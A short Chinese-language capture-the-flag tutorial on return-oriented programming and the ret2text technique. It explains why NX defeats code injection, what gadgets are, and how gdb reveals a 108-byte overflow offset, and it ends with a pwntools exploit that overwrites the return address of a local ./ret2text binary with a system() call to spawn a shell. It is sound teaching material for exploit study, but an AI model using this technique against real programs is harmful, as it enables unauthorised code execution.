1.随着NX
保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。
2.目前主要的是ROP(Return Oriented Programming)
,其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
3.所谓 gadgets
就是以ret
结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
注:ret2text说的就是在程序中利用代码的地址(给你了system
),来进行shell
小白入门可以gdb直接泄露溢出大小(溢出大小+ebp(4)+system_addr
)
高手可以利用gdb动态调试查看一下,在ida里面我们申请的是
int v4; // [sp+1Ch] [bp-64h]@1 #100
可是在我们调试的时候溢出大小其实是108
![](https://img.haomeiwen.com/i11184716/9cdc726f91fbadc2.png)
EXP
from pwn import*
p = process('./ret2text')
system_addr = 0x804863A
payload = 'A'*108
payload += p32(0)
payload += p32(system_addr)
p.sendline(payload)
p.interactive()
网友评论